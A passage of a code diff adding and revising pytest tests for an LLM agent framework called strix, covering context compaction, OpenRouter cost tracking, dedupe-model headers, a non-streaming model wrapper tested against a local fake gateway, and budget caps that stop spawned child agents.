@@ -256,27 +289,27 @@ async def test_summary_request_fits_when_room_is_below_old_floor(
|
||||
instructions = len(compaction._SUMMARY_INSTRUCTIONS)
|
||||
window = instructions + 64 + 256 + 300 # summary_max(64)+slack(256)+room(300)
|
||||
_patch_budget(monkeypatch, keep_tokens=30, window=window)
|
||||
captured: dict[str, str] = {}
|
||||
|
||||
async def fake_acompletion(**kwargs: Any) -> Any:
|
||||
captured["prompt"] = kwargs["messages"][0]["content"]
|
||||
return SimpleNamespace(choices=[SimpleNamespace(message=SimpleNamespace(content="S"))])
|
||||
|
||||
monkeypatch.setattr("strix.llm.compaction.litellm.acompletion", fake_acompletion)
|
||||
captured: dict[str, Any] = {}
|
||||
_patch_summary(monkeypatch, "S", captured)
|
||||
session = FakeSession([{"role": "user", "content": "y" * 5_000} for _ in range(20)])
|
||||
|
||||
assert await compaction.maybe_compact(session, model="m") is True
|
||||
assert len(captured["prompt"]) <= window
|
||||
assert len(captured["input"]) <= window
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_maybe_compact_skips_when_summary_fails(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
_patch_budget(monkeypatch, keep_tokens=30, window=4_000)
|
||||
|
||||
async def fake_acompletion(**_kwargs: Any) -> Any:
|
||||
raise RuntimeError("boom")
|
||||
class BoomModel:
|
||||
async def get_response(self, **_kwargs: Any) -> Any:
|
||||
raise RuntimeError("boom")
|
||||
|
||||
monkeypatch.setattr("strix.llm.compaction.litellm.acompletion", fake_acompletion)
|
||||
class BoomProvider:
|
||||
def get_model(self, _model_name: str | None) -> Any:
|
||||
return BoomModel()
|
||||
|
||||
monkeypatch.setattr(compaction, "StrixProvider", BoomProvider)
|
||||
session = FakeSession(_turns(12))
|
||||
before = await session.get_items()
|
||||
|
||||
@@ -290,17 +323,11 @@ async def test_maybe_compact_skips_when_no_room_to_summarise(
|
||||
) -> None:
|
||||
# No room for any head -> no (doomed) summary is attempted.
|
||||
_patch_budget(monkeypatch, keep_tokens=30, window=200)
|
||||
called = False
|
||||
|
||||
async def fake_acompletion(**_kwargs: Any) -> Any:
|
||||
nonlocal called
|
||||
called = True
|
||||
return SimpleNamespace(choices=[SimpleNamespace(message=SimpleNamespace(content="S"))])
|
||||
|
||||
monkeypatch.setattr("strix.llm.compaction.litellm.acompletion", fake_acompletion)
|
||||
captured: dict[str, Any] = {}
|
||||
_patch_summary(monkeypatch, "S", captured)
|
||||
session = FakeSession(_turns(12))
|
||||
before = await session.get_items()
|
||||
|
||||
assert await compaction.maybe_compact(session, model="m", force=True) is False
|
||||
assert called is False
|
||||
assert not captured
|
||||
assert await session.get_items() == before
|
||||
|
||||
@@ -21,6 +21,24 @@ def test_context_window_strips_provider_prefix() -> None:
|
||||
assert context_budget.context_window("openai/gpt-4o") == 128_000
|
||||
|
||||
|
||||
def test_context_window_chatgpt_prefix_skips_provider_auth(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
context_budget._model_info.cache_clear()
|
||||
calls: list[str] = []
|
||||
|
||||
def _model_info(model: str) -> dict[str, int]:
|
||||
calls.append(model)
|
||||
return {"max_input_tokens": 1_050_000, "max_output_tokens": 128_000}
|
||||
|
||||
monkeypatch.setattr("strix.llm.context_budget.litellm.get_model_info", _model_info)
|
||||
try:
|
||||
assert context_budget.context_window("chatgpt/gpt-5.6-luna") == 1_050_000
|
||||
assert calls == ["gpt-5.6-luna"]
|
||||
finally:
|
||||
context_budget._model_info.cache_clear()
|
||||
|
||||
|
||||
def test_context_window_unmapped_uses_fallback(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
context_budget._model_info.cache_clear()
|
||||
|
||||
|
||||
+105
-2
@@ -7,9 +7,25 @@ from unittest.mock import MagicMock, patch
|
||||
|
||||
import litellm
|
||||
import pytest
|
||||
from litellm.types.utils import LlmProviders
|
||||
from litellm.utils import ProviderConfigManager
|
||||
|
||||
from strix.config.models import _configure_litellm_compatibility
|
||||
from strix.report.state import litellm_cost_callback
|
||||
from strix.config.models import (
|
||||
_configure_litellm_compatibility,
|
||||
_install_openrouter_stream_cost_capture,
|
||||
)
|
||||
from strix.report.state import (
|
||||
ReportState,
|
||||
litellm_cost_callback,
|
||||
openrouter_stream_cost,
|
||||
set_global_report_state,
|
||||
streamed_openrouter_costs,
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _clear_streamed_costs() -> None:
|
||||
streamed_openrouter_costs.clear()
|
||||
|
||||
|
||||
def test_streaming_logging_stays_enabled_for_cost_callback() -> None:
|
||||
@@ -151,3 +167,90 @@ def test_cost_callback_records_nothing_when_no_cost_available() -> None:
|
||||
litellm_cost_callback({"response_cost": None, "model": "x/y"}, response)
|
||||
|
||||
report_state.record_observed_llm_cost.assert_not_called()
|
||||
|
||||
|
||||
def test_openrouter_stream_cost_extracts_plain_and_byok_totals() -> None:
|
||||
assert openrouter_stream_cost({"cost": 0.003168}) == pytest.approx(0.003168)
|
||||
assert openrouter_stream_cost(
|
||||
{"cost": 0.01, "is_byok": True, "cost_details": {"upstream_inference_cost": 0.2}}
|
||||
) == pytest.approx(0.21)
|
||||
# Upstream cost is only added for BYOK responses.
|
||||
assert openrouter_stream_cost(
|
||||
{"cost": 0.05, "is_byok": False, "cost_details": {"upstream_inference_cost": 0.04}}
|
||||
) == pytest.approx(0.05)
|
||||
assert openrouter_stream_cost({"prompt_tokens": 10}) is None
|
||||
assert openrouter_stream_cost(None) is None
|
||||
|
||||
|
||||
def test_cost_callback_recovers_streamed_openrouter_cost_by_response_id() -> None:
|
||||
report_state = MagicMock()
|
||||
streamed_openrouter_costs.remember("gen-abc", {"cost": 0.42})
|
||||
# LiteLLM strips cost from the rebuilt streamed usage; only the id survives.
|
||||
response = SimpleNamespace(id="gen-abc", usage=SimpleNamespace(cost=None), _hidden_params={})
|
||||
|
||||
with (
|
||||
patch("strix.report.state.get_global_report_state", return_value=report_state),
|
||||
patch("litellm.completion_cost", side_effect=ValueError("unknown model")),
|
||||
):
|
||||
litellm_cost_callback({"response_cost": None, "model": "moonshotai/kimi-k3"}, response)
|
||||
|
||||
report_state.record_observed_llm_cost.assert_called_once_with(0.42)
|
||||
# The entry is consumed so a later response cannot double-count it.
|
||||
assert streamed_openrouter_costs.take(response) is None
|
||||
|
||||
|
||||
def test_streamed_openrouter_cost_prefers_provider_report_over_estimate() -> None:
|
||||
report_state = MagicMock()
|
||||
streamed_openrouter_costs.remember("gen-xyz", {"cost": 0.9})
|
||||
response = SimpleNamespace(
|
||||
id="gen-xyz",
|
||||
usage=SimpleNamespace(prompt_tokens=10, completion_tokens=5, total_tokens=15),
|
||||
_hidden_params={},
|
||||
)
|
||||
|
||||
with (
|
||||
patch("strix.report.state.get_global_report_state", return_value=report_state),
|
||||
patch("litellm.completion_cost", return_value=0.1) as estimate,
|
||||
):
|
||||
litellm_cost_callback({"response_cost": None, "model": "moonshotai/kimi-k3"}, response)
|
||||
|
||||
report_state.record_observed_llm_cost.assert_called_once_with(0.9)
|
||||
estimate.assert_not_called()
|
||||
|
||||
|
||||
def test_streamed_openrouter_costs_ignores_entries_without_cost() -> None:
|
||||
streamed_openrouter_costs.remember("gen-none", {"prompt_tokens": 10})
|
||||
streamed_openrouter_costs.remember("", {"cost": 0.5})
|
||||
assert streamed_openrouter_costs.take(SimpleNamespace(id="gen-none")) is None
|
||||
|
||||
|
||||
def test_streamed_openrouter_costs_cleared_on_new_run() -> None:
|
||||
streamed_openrouter_costs.remember("gen-stale", {"cost": 0.7})
|
||||
set_global_report_state(ReportState.__new__(ReportState))
|
||||
assert streamed_openrouter_costs.take(SimpleNamespace(id="gen-stale")) is None
|
||||
|
||||
|
||||
def test_openrouter_stream_handler_records_cost() -> None:
|
||||
_install_openrouter_stream_cost_capture()
|
||||
# Resolve the config the way LiteLLM does in production so we prove the
|
||||
# override is actually reachable through provider resolution, not just as a
|
||||
# directly-constructed class.
|
||||
config = ProviderConfigManager.get_provider_chat_config(
|
||||
model="moonshotai/kimi-k3", provider=LlmProviders.OPENROUTER
|
||||
)
|
||||
assert config is not None
|
||||
assert type(config).__name__ == "_StrixOpenrouterConfig"
|
||||
handler = config.get_model_response_iterator(streaming_response=iter([]), sync_stream=True)
|
||||
|
||||
chunk = {
|
||||
"id": "gen-stream",
|
||||
"created": 1,
|
||||
"model": "moonshotai/kimi-k3",
|
||||
"choices": [{"index": 0, "delta": {"content": None}}],
|
||||
"usage": {"prompt_tokens": 89, "completion_tokens": 138, "cost": 0.0035055},
|
||||
}
|
||||
handler.chunk_parser(chunk)
|
||||
|
||||
assert streamed_openrouter_costs.take(SimpleNamespace(id="gen-stream")) == pytest.approx(
|
||||
0.0035055
|
||||
)
|
||||
|
||||
@@ -44,6 +44,38 @@ def test_dedupe_endpoint_sent_per_call() -> None:
|
||||
assert (settings.extra_args or {})["api_key"] == "dedupe-key"
|
||||
|
||||
|
||||
def test_dedicated_dedupe_model_uses_own_headers_not_main() -> None:
|
||||
dedupe = DedupeSettings(
|
||||
STRIX_DEDUPE_MODEL="deepseek/cheap",
|
||||
DEDUPE_LLM_EXTRA_HEADERS={"X-Dedupe": "yes"},
|
||||
)
|
||||
settings = _dedupe_model_settings(dedupe, "deepseek/cheap", 300)
|
||||
assert settings.extra_headers == {"X-Dedupe": "yes"}
|
||||
|
||||
|
||||
def test_dedicated_dedupe_model_gets_no_main_headers_by_default(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
monkeypatch.setenv("LLM_EXTRA_HEADERS", json.dumps({"X-Main": "secret"}))
|
||||
loader._cached = None
|
||||
try:
|
||||
dedupe = DedupeSettings(STRIX_DEDUPE_MODEL="deepseek/cheap")
|
||||
settings = _dedupe_model_settings(dedupe, "deepseek/cheap", 300)
|
||||
assert settings.extra_headers is None
|
||||
finally:
|
||||
loader._cached = None
|
||||
|
||||
|
||||
def test_fallback_dedupe_inherits_main_headers(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
monkeypatch.setenv("LLM_EXTRA_HEADERS", json.dumps({"X-Main": "svc"}))
|
||||
loader._cached = None
|
||||
try:
|
||||
settings = _dedupe_model_settings(DedupeSettings(), "openai/main-model", 300)
|
||||
assert settings.extra_headers == {"X-Main": "svc"}
|
||||
finally:
|
||||
loader._cached = None
|
||||
|
||||
|
||||
def test_dedupe_defaults_are_empty() -> None:
|
||||
settings = DedupeSettings()
|
||||
assert settings.model is None
|
||||
|
||||
@@ -0,0 +1,326 @@
|
||||
"""Tests for LLM_DISABLE_STREAMING: serve the streamed run loop without SSE.
|
||||
|
||||
A gateway that rejects ``stream:true`` (or delivers SSE unreliably) breaks the
|
||||
SDK run loop, which only issues streamed requests. ``_NonStreamingModel`` wraps
|
||||
the resolved model so each turn makes one non-streaming ``get_response`` and
|
||||
replays the completed result as a single terminal stream event. A local server
|
||||
that rejects streamed requests but answers non-streamed ones — including a
|
||||
structured tool call — proves the wrapper works where the stock model fails.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import threading
|
||||
from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||
from typing import TYPE_CHECKING, Any
|
||||
|
||||
import pytest
|
||||
from agents import Agent, Runner, function_tool
|
||||
from agents.model_settings import ModelSettings
|
||||
from agents.models.interface import Model, ModelProvider, ModelTracing
|
||||
from agents.models.openai_chatcompletions import OpenAIChatCompletionsModel
|
||||
from agents.run import RunConfig
|
||||
from openai import AsyncOpenAI, BadRequestError
|
||||
from openai.types.responses import (
|
||||
ResponseCompletedEvent,
|
||||
ResponseFunctionToolCall,
|
||||
ResponseOutputMessage,
|
||||
ResponseOutputText,
|
||||
)
|
||||
|
||||
from strix.config import codex, loader
|
||||
from strix.config.loader import load_settings
|
||||
from strix.config.models import StrixProvider, _NonStreamingModel
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from collections.abc import AsyncIterator, Iterator
|
||||
|
||||
|
||||
def _tool_call_completion() -> dict[str, Any]:
|
||||
return {
|
||||
"id": "chatcmpl-1",
|
||||
"object": "chat.completion",
|
||||
"created": 0,
|
||||
"model": "gw-model",
|
||||
"choices": [
|
||||
{
|
||||
"index": 0,
|
||||
"finish_reason": "tool_calls",
|
||||
"message": {
|
||||
"role": "assistant",
|
||||
"content": None,
|
||||
"tool_calls": [
|
||||
{
|
||||
"id": "call_1",
|
||||
"type": "function",
|
||||
"function": {"name": "do_thing", "arguments": '{"n": 1}'},
|
||||
}
|
||||
],
|
||||
},
|
||||
}
|
||||
],
|
||||
"usage": {"prompt_tokens": 5, "completion_tokens": 2, "total_tokens": 7},
|
||||
}
|
||||
|
||||
|
||||
def _text_completion() -> dict[str, Any]:
|
||||
return {
|
||||
"id": "chatcmpl-2",
|
||||
"object": "chat.completion",
|
||||
"created": 0,
|
||||
"model": "gw-model",
|
||||
"choices": [
|
||||
{
|
||||
"index": 0,
|
||||
"finish_reason": "stop",
|
||||
"message": {"role": "assistant", "content": "hello from gateway"},
|
||||
}
|
||||
],
|
||||
"usage": {"prompt_tokens": 5, "completion_tokens": 3, "total_tokens": 8},
|
||||
}
|
||||
|
||||
|
||||
_CAPTURED: dict[str, Any] = {}
|
||||
_PAYLOAD: dict[str, dict[str, Any]] = {"value": _tool_call_completion()}
|
||||
|
||||
|
||||
class _Handler(BaseHTTPRequestHandler):
|
||||
"""A gateway that only speaks non-streaming Chat Completions."""
|
||||
|
||||
def log_message(self, *args: Any) -> None:
|
||||
pass
|
||||
|
||||
def do_POST(self) -> None:
|
||||
length = int(self.headers.get("Content-Length", 0))
|
||||
body = json.loads(self.rfile.read(length) or b"{}")
|
||||
_CAPTURED.clear()
|
||||
_CAPTURED.update(body)
|
||||
if body.get("stream"):
|
||||
payload = json.dumps(
|
||||
{"error": {"message": "streaming is not supported by this endpoint"}}
|
||||
).encode()
|
||||
self.send_response(400)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.send_header("Content-Length", str(len(payload)))
|
||||
self.end_headers()
|
||||
self.wfile.write(payload)
|
||||
return
|
||||
payload = json.dumps(_PAYLOAD["value"]).encode()
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.send_header("Content-Length", str(len(payload)))
|
||||
self.end_headers()
|
||||
self.wfile.write(payload)
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def gateway_url() -> Iterator[str]:
|
||||
_PAYLOAD["value"] = _tool_call_completion()
|
||||
server = HTTPServer(("127.0.0.1", 0), _Handler)
|
||||
thread = threading.Thread(target=server.serve_forever, daemon=True)
|
||||
thread.start()
|
||||
try:
|
||||
yield f"http://127.0.0.1:{server.server_address[1]}/v1"
|
||||
finally:
|
||||
server.shutdown()
|
||||
server.server_close()
|
||||
|
||||
|
||||
def _model(base_url: str) -> OpenAIChatCompletionsModel:
|
||||
client = AsyncOpenAI(api_key="tok", base_url=base_url)
|
||||
return OpenAIChatCompletionsModel(model="gw-model", openai_client=client)
|
||||
|
||||
|
||||
def _call_kwargs() -> dict[str, Any]:
|
||||
return {
|
||||
"system_instructions": "s",
|
||||
"input": "hi",
|
||||
"model_settings": ModelSettings(),
|
||||
"tools": [],
|
||||
"output_schema": None,
|
||||
"handoffs": [],
|
||||
"tracing": ModelTracing.DISABLED,
|
||||
"previous_response_id": None,
|
||||
"conversation_id": None,
|
||||
"prompt": None,
|
||||
}
|
||||
|
||||
|
||||
async def _drain(gen: AsyncIterator[Any]) -> list[Any]:
|
||||
return [event async for event in gen]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_stock_model_streaming_fails_on_non_streaming_gateway(gateway_url: str) -> None:
|
||||
# The stock model issues stream:true and the gateway rejects it.
|
||||
model = _model(gateway_url)
|
||||
with pytest.raises(BadRequestError, match="streaming is not supported"):
|
||||
await _drain(model.stream_response(**_call_kwargs()))
|
||||
assert _CAPTURED["stream"] is True
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_wrapper_streams_tool_call_without_streaming_request(gateway_url: str) -> None:
|
||||
# The wrapper turns the streamed run-loop call into one non-streaming
|
||||
# request and replays the completed result as a terminal stream event.
|
||||
model = _NonStreamingModel(_model(gateway_url))
|
||||
events = await _drain(model.stream_response(**_call_kwargs()))
|
||||
|
||||
assert _CAPTURED.get("stream") is not True
|
||||
assert len(events) == 1
|
||||
completed = events[0]
|
||||
assert isinstance(completed, ResponseCompletedEvent)
|
||||
|
||||
tool_call = completed.response.output[0]
|
||||
assert isinstance(tool_call, ResponseFunctionToolCall)
|
||||
assert tool_call.name == "do_thing"
|
||||
assert json.loads(tool_call.arguments) == {"n": 1}
|
||||
|
||||
assert completed.response.usage is not None
|
||||
assert completed.response.usage.total_tokens == 7
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_wrapper_streams_plain_text(gateway_url: str) -> None:
|
||||
_PAYLOAD["value"] = _text_completion()
|
||||
model = _NonStreamingModel(_model(gateway_url))
|
||||
events = await _drain(model.stream_response(**_call_kwargs()))
|
||||
|
||||
assert _CAPTURED.get("stream") is not True
|
||||
message = events[0].response.output[0]
|
||||
assert isinstance(message, ResponseOutputMessage)
|
||||
text = message.content[0]
|
||||
assert isinstance(text, ResponseOutputText)
|
||||
assert text.text == "hello from gateway"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_wrapper_get_response_stays_non_streaming(gateway_url: str) -> None:
|
||||
# The non-streaming path is a plain pass-through to the inner model.
|
||||
model = _NonStreamingModel(_model(gateway_url))
|
||||
response = await model.get_response(**_call_kwargs())
|
||||
assert _CAPTURED.get("stream") is not True
|
||||
tool_call = response.output[0]
|
||||
assert isinstance(tool_call, ResponseFunctionToolCall)
|
||||
assert tool_call.name == "do_thing"
|
||||
|
||||
|
||||
_TURN_STREAM_FLAGS: list[bool] = []
|
||||
|
||||
|
||||
class _MultiTurnHandler(BaseHTTPRequestHandler):
|
||||
"""Non-streaming gateway: a tool call on turn 1, a final answer on turn 2."""
|
||||
|
||||
def log_message(self, *args: Any) -> None:
|
||||
pass
|
||||
|
||||
def do_POST(self) -> None:
|
||||
length = int(self.headers.get("Content-Length", 0))
|
||||
body = json.loads(self.rfile.read(length) or b"{}")
|
||||
_TURN_STREAM_FLAGS.append(bool(body.get("stream")))
|
||||
completion = _tool_call_completion() if len(_TURN_STREAM_FLAGS) == 1 else _text_completion()
|
||||
if len(_TURN_STREAM_FLAGS) > 1:
|
||||
completion["choices"][0]["message"]["content"] = "all done"
|
||||
payload = json.dumps(completion).encode()
|
||||
self.send_response(200)
|
||||
self.send_header("Content-Type", "application/json")
|
||||
self.send_header("Content-Length", str(len(payload)))
|
||||
self.end_headers()
|
||||
self.wfile.write(payload)
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def multiturn_url() -> Iterator[str]:
|
||||
_TURN_STREAM_FLAGS.clear()
|
||||
server = HTTPServer(("127.0.0.1", 0), _MultiTurnHandler)
|
||||
thread = threading.Thread(target=server.serve_forever, daemon=True)
|
||||
thread.start()
|
||||
try:
|
||||
yield f"http://127.0.0.1:{server.server_address[1]}/v1"
|
||||
finally:
|
||||
server.shutdown()
|
||||
server.server_close()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_loop_executes_tool_and_completes_without_streaming(multiturn_url: str) -> None:
|
||||
# The whole streamed agent loop runs against a non-streaming gateway: the
|
||||
# synthetic terminal event feeds the runner, which executes the tool and
|
||||
# continues the turn until a final answer.
|
||||
calls: list[int] = []
|
||||
|
||||
@function_tool
|
||||
def do_thing(n: int) -> str:
|
||||
calls.append(n)
|
||||
return f"did {n}"
|
||||
|
||||
class _Provider(ModelProvider):
|
||||
def get_model(self, model_name: str | None) -> Model: # noqa: ARG002
|
||||
return _NonStreamingModel(_model(multiturn_url))
|
||||
|
||||
agent = Agent(name="t", instructions="use the tool", tools=[do_thing], model="gw-model")
|
||||
result = Runner.run_streamed(
|
||||
agent, input="please", run_config=RunConfig(model_provider=_Provider())
|
||||
)
|
||||
async for _ in result.stream_events():
|
||||
pass
|
||||
|
||||
assert calls == [1] # tool executed with the streamed tool-call args
|
||||
assert result.final_output == "all done"
|
||||
assert len(_TURN_STREAM_FLAGS) == 2 # two turns, both...
|
||||
assert not any(_TURN_STREAM_FLAGS) # ...issued as non-streaming requests
|
||||
|
||||
|
||||
class _DummyModel(Model):
|
||||
async def get_response(self, *args: Any, **kwargs: Any) -> Any:
|
||||
raise NotImplementedError
|
||||
|
||||
def stream_response(self, *args: Any, **kwargs: Any) -> Any:
|
||||
raise NotImplementedError
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def _reset_settings(monkeypatch: pytest.MonkeyPatch) -> Iterator[None]:
|
||||
for key in ("STRIX_LLM", "LLM_DISABLE_STREAMING"):
|
||||
monkeypatch.delenv(key, raising=False)
|
||||
monkeypatch.setattr(loader, "_cached", None)
|
||||
monkeypatch.setattr(loader, "_override", None)
|
||||
yield
|
||||
|
||||
|
||||
def test_get_model_wraps_when_disabled(
|
||||
monkeypatch: pytest.MonkeyPatch, _reset_settings: None
|
||||
) -> None:
|
||||
inner = _DummyModel()
|
||||
monkeypatch.setattr("strix.config.models.MultiProvider.get_model", lambda *_: inner)
|
||||
monkeypatch.setenv("LLM_DISABLE_STREAMING", "true")
|
||||
load_settings()
|
||||
|
||||
model = StrixProvider().get_model("openai/gpt-4o-mini")
|
||||
assert isinstance(model, _NonStreamingModel)
|
||||
|
||||
|
||||
def test_get_model_unwrapped_by_default(
|
||||
monkeypatch: pytest.MonkeyPatch, _reset_settings: None
|
||||
) -> None:
|
||||
inner = _DummyModel()
|
||||
monkeypatch.setattr("strix.config.models.MultiProvider.get_model", lambda *_: inner)
|
||||
load_settings()
|
||||
|
||||
model = StrixProvider().get_model("openai/gpt-4o-mini")
|
||||
assert model is inner
|
||||
|
||||
|
||||
def test_get_model_does_not_wrap_subscription_model(
|
||||
monkeypatch: pytest.MonkeyPatch, _reset_settings: None
|
||||
) -> None:
|
||||
# Subscription (ChatGPT) models are always streamed and must not be wrapped.
|
||||
monkeypatch.setattr(codex, "subscription_model", lambda *_: "gpt-5.5")
|
||||
monkeypatch.setattr(codex, "get_subscription_client", lambda: AsyncOpenAI(api_key="x"))
|
||||
monkeypatch.setenv("LLM_DISABLE_STREAMING", "true")
|
||||
load_settings()
|
||||
|
||||
model = StrixProvider().get_model("gpt-5.5")
|
||||
assert not isinstance(model, _NonStreamingModel)
|
||||
@@ -0,0 +1,357 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
from typing import TYPE_CHECKING, Any
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
from strix.core import execution
|
||||
from strix.core.agents import AgentCoordinator
|
||||
from strix.core.execution import _start_child_runner, run_agent_loop
|
||||
from strix.core.hooks import BudgetExceededError, ReportUsageHooks
|
||||
from strix.core.sessions import open_agent_session
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from collections.abc import AsyncIterator, Callable
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
MAX_BUDGET = 10.0
|
||||
COST_PER_CALL = 1.0
|
||||
|
||||
|
||||
class _FakeLedger:
|
||||
def __init__(self) -> None:
|
||||
self.cost = 0.0
|
||||
self.calls: list[str] = []
|
||||
|
||||
def record_sdk_usage(self, **_kwargs: Any) -> None:
|
||||
return
|
||||
|
||||
def get_total_llm_cost(self) -> float:
|
||||
return self.cost
|
||||
|
||||
|
||||
class _FakeStream:
|
||||
def __init__(
|
||||
self,
|
||||
*,
|
||||
ledger: _FakeLedger,
|
||||
hooks: ReportUsageHooks,
|
||||
context: dict[str, Any],
|
||||
agent: Any,
|
||||
) -> None:
|
||||
self._ledger = ledger
|
||||
self._hooks = hooks
|
||||
self._context = context
|
||||
self._agent = agent
|
||||
self.run_loop_exception: BaseException | None = None
|
||||
self.final_output = None
|
||||
|
||||
async def stream_events(self) -> AsyncIterator[Any]:
|
||||
self._ledger.cost += COST_PER_CALL
|
||||
self._ledger.calls.append(str(self._context.get("agent_id")))
|
||||
ctx_wrapper = MagicMock()
|
||||
ctx_wrapper.context = self._context
|
||||
try:
|
||||
await self._hooks.on_llm_end(ctx_wrapper, self._agent, MagicMock())
|
||||
except Exception as exc: # noqa: BLE001
|
||||
self.run_loop_exception = exc
|
||||
items: tuple[Any, ...] = ()
|
||||
for item in items:
|
||||
yield item
|
||||
|
||||
def cancel(self, mode: str = "immediate") -> None: # noqa: ARG002
|
||||
return
|
||||
|
||||
|
||||
def _fake_runner(ledger: _FakeLedger) -> Any:
|
||||
class _FakeRunner:
|
||||
@staticmethod
|
||||
def run_streamed(
|
||||
agent: Any,
|
||||
input: Any, # noqa: A002, ARG004
|
||||
*,
|
||||
run_config: Any, # noqa: ARG004
|
||||
context: dict[str, Any],
|
||||
max_turns: int, # noqa: ARG004
|
||||
session: Any, # noqa: ARG004
|
||||
hooks: ReportUsageHooks,
|
||||
) -> _FakeStream:
|
||||
return _FakeStream(ledger=ledger, hooks=hooks, context=context, agent=agent)
|
||||
|
||||
return _FakeRunner
|
||||
|
||||
|
||||
async def _noop_compact(*_args: Any, **_kwargs: Any) -> bool:
|
||||
return False
|
||||
|
||||
|
||||
async def _wait_until(predicate: Callable[[], bool], *, timeout: float = 5.0) -> None:
|
||||
async def _poll() -> None:
|
||||
while not predicate():
|
||||
await asyncio.sleep(0.01)
|
||||
|
||||
await asyncio.wait_for(_poll(), timeout=timeout)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_full_budget_lifecycle_reserve_then_cap( # noqa: PLR0915
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
ledger = _FakeLedger()
|
||||
hooks = ReportUsageHooks(model="test-model", max_budget_usd=MAX_BUDGET)
|
||||
monkeypatch.setattr(execution, "Runner", _fake_runner(ledger))
|
||||
monkeypatch.setattr(execution, "_compact_session", _noop_compact)
|
||||
|
||||
coordinator = AgentCoordinator()
|
||||
db_path = tmp_path / "agents.sqlite"
|
||||
sessions: list[Any] = []
|
||||
run_config = MagicMock()
|
||||
|
||||
await coordinator.register("root", "strix", parent_id=None)
|
||||
root_session = open_agent_session("root", db_path)
|
||||
sessions.append(root_session)
|
||||
|
||||
root_exc: list[BaseException] = []
|
||||
|
||||
async def _root_loop() -> None:
|
||||
try:
|
||||
await run_agent_loop(
|
||||
agent=MagicMock(),
|
||||
initial_input=[],
|
||||
run_config=run_config,
|
||||
context={"agent_id": "root", "parent_id": None},
|
||||
max_turns=500,
|
||||
coordinator=coordinator,
|
||||
agent_id="root",
|
||||
interactive=True,
|
||||
session=root_session,
|
||||
start_parked=True,
|
||||
hooks=hooks,
|
||||
)
|
||||
except BaseException as exc:
|
||||
root_exc.append(exc)
|
||||
raise
|
||||
|
||||
with patch("strix.core.hooks.get_global_report_state", return_value=ledger):
|
||||
root_task = asyncio.create_task(_root_loop())
|
||||
await asyncio.sleep(0.05)
|
||||
|
||||
for child_id in ("child-a", "child-b"):
|
||||
await coordinator.register(child_id, "recon", parent_id="root")
|
||||
await _start_child_runner(
|
||||
parent_ctx={"agent_id": "root", "parent_id": None},
|
||||
coordinator=coordinator,
|
||||
agents_db_path=db_path,
|
||||
sessions_to_close=sessions,
|
||||
run_config=run_config,
|
||||
max_turns=500,
|
||||
interactive=True,
|
||||
child_agent=MagicMock(),
|
||||
child_id=child_id,
|
||||
name=f"recon-{child_id}",
|
||||
parent_id="root",
|
||||
task="probe things",
|
||||
initial_input=[],
|
||||
hooks=hooks,
|
||||
)
|
||||
await _wait_until(lambda: ledger.cost >= 2.0)
|
||||
reserve_before = coordinator.reserve_stopped
|
||||
assert reserve_before is False
|
||||
|
||||
async def _wait_spend_above(amount: float) -> None:
|
||||
await _wait_until(lambda: ledger.cost > amount)
|
||||
|
||||
turn = 0
|
||||
while ledger.cost < MAX_BUDGET * 0.90 - 1e-9:
|
||||
target = ("child-a", "child-b")[turn % 2]
|
||||
spent_before = ledger.cost
|
||||
assert await coordinator.send(target, {"from": "user", "content": "keep going"})
|
||||
await _wait_spend_above(spent_before)
|
||||
turn += 1
|
||||
|
||||
await _wait_until(lambda: coordinator.reserve_stopped)
|
||||
|
||||
await _wait_until(
|
||||
lambda: (
|
||||
coordinator.statuses["child-a"] == "stopped"
|
||||
and coordinator.statuses["child-b"] == "stopped"
|
||||
)
|
||||
)
|
||||
|
||||
assert coordinator.reserve_stopped is True
|
||||
|
||||
await _wait_until(lambda: coordinator.budget_stopped)
|
||||
assert ledger.cost == pytest.approx(MAX_BUDGET)
|
||||
|
||||
assert len(ledger.calls) == 10
|
||||
assert set(ledger.calls[:9]) == {"child-a", "child-b"}
|
||||
assert ledger.calls[9] == "root"
|
||||
|
||||
root_items = await root_session.get_items()
|
||||
notices = [item for item in root_items if "Budget reserve" in str(item)]
|
||||
assert len(notices) == 1
|
||||
|
||||
with pytest.raises(BudgetExceededError):
|
||||
await root_task
|
||||
assert root_exc and isinstance(root_exc[0], BudgetExceededError)
|
||||
|
||||
assert {aid: str(status) for aid, status in coordinator.statuses.items()} == {
|
||||
"root": "stopped",
|
||||
"child-a": "stopped",
|
||||
"child-b": "stopped",
|
||||
}
|
||||
assert coordinator.budget_stopped is True
|
||||
assert coordinator.reserve_stopped is True
|
||||
|
||||
for session in sessions:
|
||||
session.close()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_respawned_children_after_reserve_never_spend(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
ledger = _FakeLedger()
|
||||
ledger.cost = 9.5
|
||||
